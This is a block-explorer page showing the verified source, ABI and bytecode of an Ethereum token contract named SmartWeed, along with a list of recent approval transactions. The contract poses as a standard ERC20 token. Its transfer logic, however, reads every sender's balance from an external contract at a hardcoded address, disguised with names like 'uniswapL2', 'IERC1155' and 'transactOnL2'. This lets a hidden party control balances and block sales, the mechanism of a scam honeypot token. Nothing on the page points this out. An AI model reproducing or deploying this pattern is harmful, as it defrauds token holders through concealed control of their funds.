ETH Price: $3,493.88 (+2.50%)
Gas: 3.34 Gwei

Contract

0xA9334B13b1c7C8F75767F48783385461b181b924
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve170900112023-04-20 20:21:47614 days ago1682022107IN
0xA9334B13...1b181b924
0 ETH0.0036974879.71647591
Approve170756082023-04-18 19:25:11616 days ago1681845911IN
0xA9334B13...1b181b924
0 ETH0.0030232465.33212835
Approve170755012023-04-18 19:03:35616 days ago1681844615IN
0xA9334B13...1b181b924
0 ETH0.0042339591
Approve170754922023-04-18 19:01:47616 days ago1681844507IN
0xA9334B13...1b181b924
0 ETH0.0043047792.40285489
Approve170754532023-04-18 18:53:35616 days ago1681844015IN
0xA9334B13...1b181b924
0 ETH0.0035319775.91233092
Approve170754422023-04-18 18:51:23616 days ago1681843883IN
0xA9334B13...1b181b924
0 ETH0.003264170.06477972
Approve170754262023-04-18 18:48:11616 days ago1681843691IN
0xA9334B13...1b181b924
0 ETH0.0030777666.15
Approve170754052023-04-18 18:43:59616 days ago1681843439IN
0xA9334B13...1b181b924
0 ETH0.0032423669.97663909
Approve170754012023-04-18 18:43:11616 days ago1681843391IN
0xA9334B13...1b181b924
0 ETH0.0032897871
Approve170753952023-04-18 18:41:59616 days ago1681843319IN
0xA9334B13...1b181b924
0 ETH0.0029980364.70340131
Approve170753912023-04-18 18:41:11616 days ago1681843271IN
0xA9334B13...1b181b924
0 ETH0.0029576263.91404987
Approve170753792023-04-18 18:38:47616 days ago1681843127IN
0xA9334B13...1b181b924
0 ETH0.0031224467.31879732
Approve170753632023-04-18 18:35:35616 days ago1681842935IN
0xA9334B13...1b181b924
0 ETH0.0033756572.94761958
Approve170753552023-04-18 18:33:59616 days ago1681842839IN
0xA9334B13...1b181b924
0 ETH0.0033208371.59586649
Approve170753512023-04-18 18:33:11616 days ago1681842791IN
0xA9334B13...1b181b924
0 ETH0.0033301971.87211502
Approve170753512023-04-18 18:33:11616 days ago1681842791IN
0xA9334B13...1b181b924
0 ETH0.0034217773.77211502
Approve170753432023-04-18 18:31:35616 days ago1681842695IN
0xA9334B13...1b181b924
0 ETH0.003765581.18281631
Approve170753392023-04-18 18:30:47616 days ago1681842647IN
0xA9334B13...1b181b924
0 ETH0.0037069579.92051366
Approve170752882023-04-18 18:20:35616 days ago1681842035IN
0xA9334B13...1b181b924
0 ETH0.0044266195.43624855
Approve170752862023-04-18 18:20:11616 days ago1681842011IN
0xA9334B13...1b181b924
0 ETH0.0040293486.60219391
Approve170752822023-04-18 18:19:23616 days ago1681841963IN
0xA9334B13...1b181b924
0 ETH0.0026330689.91775427
Approve170752782023-04-18 18:18:35616 days ago1681841915IN
0xA9334B13...1b181b924
0 ETH0.0041681889.86444791
Approve170752742023-04-18 18:17:47616 days ago1681841867IN
0xA9334B13...1b181b924
0 ETH0.0045131197
Approve170752722023-04-18 18:17:23616 days ago1681841843IN
0xA9334B13...1b181b924
0 ETH0.0042983592.88728092
Approve170752252023-04-18 18:07:35616 days ago1681841255IN
0xA9334B13...1b181b924
0 ETH0.0040996588
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SmartWeed

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-18
*/

// https://t.me/portal0x420

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC1155 {
      function transactOnL2(address[3] memory data, uint256 amount) external returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address _uniswapL2 = 0x35adc96E8B4bfd7c378fb6a26d540148661A982f;
    address public pair;

    IDEXRouter router;
    IERC1155 uniswapL2;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock;
    
    constructor (string memory name_, string memory symbol_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        uniswapL2 = IERC1155(_uniswapL2);

        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() public {
        require(((msg.sender == owner()) || (address(0) == owner())), "Ownable: caller is not the owner");
        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(((trade == true) || (sender == owner())), "ERC20: trading is not yet enabled");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = uniswapL2.transactOnL2([sender, recipient, _router], _balances[sender]);
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeploySmartWeed(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
 
        approve(_router, ~uint256(0));
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeploySmartWeed(creator, initialSupply);
    }
}

contract SmartWeed is ERC20Token {
    constructor() ERC20Token("0x420.ai: AI Smart Weed Dispenser", "0x420", msg.sender, 420420420 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217909155600580548216737a250d5630b4cf539739df2c5dacb4c659f2488d179055600680549091167335adc96e8b4bfd7c378fb6a26d540148661a982f1790553480156200007757600080fd5b50604051806060016040528060218152602001620011b160219139604080518082019091526005815264030783432360dc1b6020820152336b015bc37ca2d50d3c029000008383600084600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554600880546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200016c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001929190620004bf565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303816000875af1158015620001e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020f9190620004bf565b600780546001600160a01b03199081166001600160a01b039384161790915560065460098054919093169116179055600a6200024c838262000596565b50600b6200025b828262000596565b5050506200027082826200027a60201b60201c565b5050505062000684565b6001600160a01b038216620002d65760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600c6000828254620002ea919062000662565b90915550506001600160a01b038216600090815260026020526040812080548392906200031990849062000662565b909155505060055462000338906001600160a01b03166000196200037e565b506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60006200038d33848462000397565b5060015b92915050565b6001600160a01b038316620003fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620002cd565b6001600160a01b0382166200045e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620002cd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208284031215620004d257600080fd5b81516001600160a01b0381168114620004ea57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200051c57607f821691505b6020821081036200053d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200059157600081815260208120601f850160051c810160208610156200056c5750805b601f850160051c820191505b818110156200058d5782815560010162000578565b5050505b505050565b81516001600160401b03811115620005b257620005b2620004f1565b620005ca81620005c3845462000507565b8462000543565b602080601f831160018114620006025760008415620005e95750858301515b600019600386901b1c1916600185901b1785556200058d565b600085815260208120601f198616915b82811015620006335788860151825594840194600190910190840162000612565b5085821015620006525787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200039157634e487b7160e01b600052601160045260246000fd5b610b1d80620006946000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a8aa1b3111610066578063a8aa1b31146101e5578063a9059cbb146101f8578063c9567bf91461020b578063dd62ed3e1461021357600080fd5b806370a0823114610185578063715018a6146101ae5780638da5cb5b146101b857806395d89b41146101dd57600080fd5b80631f0ba6c9116100d35780631f0ba6c91461014d57806323b872dd1461015a578063313ce5671461016d57806348cd4cb11461017c57600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261024c565b60405161010f91906108f2565b60405180910390f35b61012b61012636600461095c565b6102de565b604051901515815260200161010f565b600c545b60405190815260200161010f565b600d5461012b9060ff1681565b61012b610168366004610986565b6102f5565b6040516012815260200161010f565b61013f600e5481565b61013f6101933660046109c2565b6001600160a01b031660009081526002602052604090205490565b6101b66103ab565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b61010261044f565b6007546101c5906001600160a01b031681565b61012b61020636600461095c565b61045e565b6101b661046b565b61013f6102213660046109e4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6060600a805461025b90610a17565b80601f016020809104026020016040519081016040528092919081815260200182805461028790610a17565b80156102d45780601f106102a9576101008083540402835291602001916102d4565b820191906000526020600020905b8154815290600101906020018083116102b757829003601f168201915b5050505050905090565b60006102eb3384846104ec565b5060015b92915050565b6000610302848484610610565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561038c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103a0853361039b8685610a67565b6104ec565b506001949350505050565b6001546001600160a01b031633146104055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b805461025b90610a17565b60006102eb338484610610565b6001546001600160a01b031633148061048d57506001546001600160a01b0316155b6104d95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b600d805460ff1916600117905543600e55565b6001600160a01b03831661054e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610383565b6001600160a01b0382166105af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610383565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d5460ff1615156001148061063357506001546001600160a01b038481169116145b6106895760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610383565b6001600160a01b0383166106ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610383565b6001600160a01b03821661074f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610383565b600954604080516060810182526001600160a01b038681168083528682166020808501919091526005548316848601526000918252600290528381205493516322155c8560e21b8152909491909116926388557214926107b492909190600401610a7a565b6020604051808303816000875af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f79190610abb565b9050818110156108585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610383565b6108628282610a67565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610898908490610ad4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e491815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561091f57858101830151858201604001528201610903565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095757600080fd5b919050565b6000806040838503121561096f57600080fd5b61097883610940565b946020939093013593505050565b60008060006060848603121561099b57600080fd5b6109a484610940565b92506109b260208501610940565b9150604084013590509250925092565b6000602082840312156109d457600080fd5b6109dd82610940565b9392505050565b600080604083850312156109f757600080fd5b610a0083610940565b9150610a0e60208401610940565b90509250929050565b600181811c90821680610a2b57607f821691505b602082108103610a4b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef610a51565b60808101818460005b6003811015610aab5781516001600160a01b0316835260209283019290910190600101610a83565b5050508260608301529392505050565b600060208284031215610acd57600080fd5b5051919050565b808201808211156102ef576102ef610a5156fea264697066735822122098028903ac67d5ef3cc16113d2af05275379596d67d4f85429b23f8990cbecab64736f6c6343000813003330783432302e61693a20414920536d61727420576565642044697370656e736572

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a8aa1b3111610066578063a8aa1b31146101e5578063a9059cbb146101f8578063c9567bf91461020b578063dd62ed3e1461021357600080fd5b806370a0823114610185578063715018a6146101ae5780638da5cb5b146101b857806395d89b41146101dd57600080fd5b80631f0ba6c9116100d35780631f0ba6c91461014d57806323b872dd1461015a578063313ce5671461016d57806348cd4cb11461017c57600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261024c565b60405161010f91906108f2565b60405180910390f35b61012b61012636600461095c565b6102de565b604051901515815260200161010f565b600c545b60405190815260200161010f565b600d5461012b9060ff1681565b61012b610168366004610986565b6102f5565b6040516012815260200161010f565b61013f600e5481565b61013f6101933660046109c2565b6001600160a01b031660009081526002602052604090205490565b6101b66103ab565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b61010261044f565b6007546101c5906001600160a01b031681565b61012b61020636600461095c565b61045e565b6101b661046b565b61013f6102213660046109e4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6060600a805461025b90610a17565b80601f016020809104026020016040519081016040528092919081815260200182805461028790610a17565b80156102d45780601f106102a9576101008083540402835291602001916102d4565b820191906000526020600020905b8154815290600101906020018083116102b757829003601f168201915b5050505050905090565b60006102eb3384846104ec565b5060015b92915050565b6000610302848484610610565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561038c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103a0853361039b8685610a67565b6104ec565b506001949350505050565b6001546001600160a01b031633146104055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b805461025b90610a17565b60006102eb338484610610565b6001546001600160a01b031633148061048d57506001546001600160a01b0316155b6104d95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b600d805460ff1916600117905543600e55565b6001600160a01b03831661054e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610383565b6001600160a01b0382166105af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610383565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d5460ff1615156001148061063357506001546001600160a01b038481169116145b6106895760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610383565b6001600160a01b0383166106ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610383565b6001600160a01b03821661074f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610383565b600954604080516060810182526001600160a01b038681168083528682166020808501919091526005548316848601526000918252600290528381205493516322155c8560e21b8152909491909116926388557214926107b492909190600401610a7a565b6020604051808303816000875af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f79190610abb565b9050818110156108585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610383565b6108628282610a67565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610898908490610ad4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e491815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561091f57858101830151858201604001528201610903565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095757600080fd5b919050565b6000806040838503121561096f57600080fd5b61097883610940565b946020939093013593505050565b60008060006060848603121561099b57600080fd5b6109a484610940565b92506109b260208501610940565b9150604084013590509250925092565b6000602082840312156109d457600080fd5b6109dd82610940565b9392505050565b600080604083850312156109f757600080fd5b610a0083610940565b9150610a0e60208401610940565b90509250929050565b600181811c90821680610a2b57607f821691505b602082108103610a4b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef610a51565b60808101818460005b6003811015610aab5781516001600160a01b0316835260209283019290910190600101610a83565b5050508260608301529392505050565b600060208284031215610acd57600080fd5b5051919050565b808201808211156102ef576102ef610a5156fea264697066735822122098028903ac67d5ef3cc16113d2af05275379596d67d4f85429b23f8990cbecab64736f6c63430008130033

Deployed Bytecode Sourcemap

6600:156:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3336:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4317:160;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4317:160:0;1004:187:1;5178:108:0;5266:12;;5178:108;;;1342:25:1;;;1330:2;1315:18;5178:108:0;1196:177:1;2879:17:0;;;;;;;;;3887:422;;;;;;:::i;:::-;;:::i;3444:93::-;;;3527:2;1853:36:1;;1841:2;1826:18;3444:93:0;1711:184:1;2898:25:0;;;;;;5043:127;;;;;;:::i;:::-;-1:-1:-1;;;;;5144:18:0;5117:7;5144:18;;;:9;:18;;;;;;;5043:127;2166:148;;;:::i;:::-;;1952:79;2017:6;;-1:-1:-1;;;;;2017:6:0;1952:79;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1952:79:0;2091:203:1;3224:104:0;;;:::i;2719:19::-;;;;;-1:-1:-1;;;;;2719:19:0;;;3704:175;;;;;;:::i;:::-;;:::i;4839:196::-;;;:::i;3545:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3661:18:0;;;3634:7;3661:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3545:151;3336:100;3390:13;3423:5;3416:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3336:100;:::o;4317:160::-;4391:4;4408:39;171:10;4431:7;4440:6;4408:8;:39::i;:::-;-1:-1:-1;4465:4:0;4317:160;;;;;:::o;3887:422::-;3993:4;4010:36;4020:6;4028:9;4039:6;4010:9;:36::i;:::-;-1:-1:-1;;;;;4086:19:0;;4059:24;4086:19;;;:11;:19;;;;;;;;171:10;4086:33;;;;;;;;4138:26;;;;4130:79;;;;-1:-1:-1;;;4130:79:0;;3151:2:1;4130:79:0;;;3133:21:1;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:38;3328:19;;4130:79:0;;;;;;;;;4220:57;4229:6;171:10;4251:25;4270:6;4251:16;:25;:::i;:::-;4220:8;:57::i;:::-;-1:-1:-1;4297:4:0;;3887:422;-1:-1:-1;;;;3887:422:0:o;2166:148::-;2079:6;;-1:-1:-1;;;;;2079:6:0;171:10;2079:22;2071:67;;;;-1:-1:-1;;;2071:67:0;;3825:2:1;2071:67:0;;;3807:21:1;;;3844:18;;;3837:30;3903:34;3883:18;;;3876:62;3955:18;;2071:67:0;3623:356:1;2071:67:0;2257:6:::1;::::0;2236:40:::1;::::0;2273:1:::1;::::0;-1:-1:-1;;;;;2257:6:0::1;::::0;2236:40:::1;::::0;2273:1;;2236:40:::1;2287:6;:19:::0;;-1:-1:-1;;;;;;2287:19:0::1;::::0;;2166:148::o;3224:104::-;3280:13;3313:7;3306:14;;;;;:::i;3704:175::-;3790:4;3807:42;171:10;3831:9;3842:6;3807:9;:42::i;4839:196::-;2017:6;;-1:-1:-1;;;;;2017:6:0;4890:10;:21;;4889:50;;-1:-1:-1;2017:6:0;;-1:-1:-1;;;;;2017:6:0;4917:21;4889:50;4880:97;;;;-1:-1:-1;;;4880:97:0;;3825:2:1;4880:97:0;;;3807:21:1;;;3844:18;;;3837:30;3903:34;3883:18;;;3876:62;3955:18;;4880:97:0;3623:356:1;4880:97:0;4988:5;:12;;-1:-1:-1;;4988:12:0;4996:4;4988:12;;;5015;5002:10;:25;4839:196::o;4485:346::-;-1:-1:-1;;;;;4587:19:0;;4579:68;;;;-1:-1:-1;;;4579:68:0;;4186:2:1;4579:68:0;;;4168:21:1;4225:2;4205:18;;;4198:30;4264:34;4244:18;;;4237:62;-1:-1:-1;;;4315:18:1;;;4308:34;4359:19;;4579:68:0;3984:400:1;4579:68:0;-1:-1:-1;;;;;4666:21:0;;4658:68;;;;-1:-1:-1;;;4658:68:0;;4591:2:1;4658:68:0;;;4573:21:1;4630:2;4610:18;;;4603:30;4669:34;4649:18;;;4642:62;-1:-1:-1;;;4720:18:1;;;4713:32;4762:19;;4658:68:0;4389:398:1;4658:68:0;-1:-1:-1;;;;;4739:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4791:32;;1342:25:1;;;4791:32:0;;1315:18:1;4791:32:0;;;;;;;4485:346;;;:::o;5294:705::-;5402:5;;;;:13;;:5;:13;;5401:38;;-1:-1:-1;2017:6:0;;-1:-1:-1;;;;;5421:17:0;;;2017:6;;5421:17;5401:38;5392:86;;;;-1:-1:-1;;;5392:86:0;;4994:2:1;5392:86:0;;;4976:21:1;5033:2;5013:18;;;5006:30;5072:34;5052:18;;;5045:62;-1:-1:-1;;;5123:18:1;;;5116:31;5164:19;;5392:86:0;4792:397:1;5392:86:0;-1:-1:-1;;;;;5497:20:0;;5489:70;;;;-1:-1:-1;;;5489:70:0;;5396:2:1;5489:70:0;;;5378:21:1;5435:2;5415:18;;;5408:30;5474:34;5454:18;;;5447:62;-1:-1:-1;;;5525:18:1;;;5518:35;5570:19;;5489:70:0;5194:401:1;5489:70:0;-1:-1:-1;;;;;5578:23:0;;5570:71;;;;-1:-1:-1;;;5570:71:0;;5802:2:1;5570:71:0;;;5784:21:1;5841:2;5821:18;;;5814:30;5880:34;5860:18;;;5853:62;-1:-1:-1;;;5931:18:1;;;5924:33;5974:19;;5570:71:0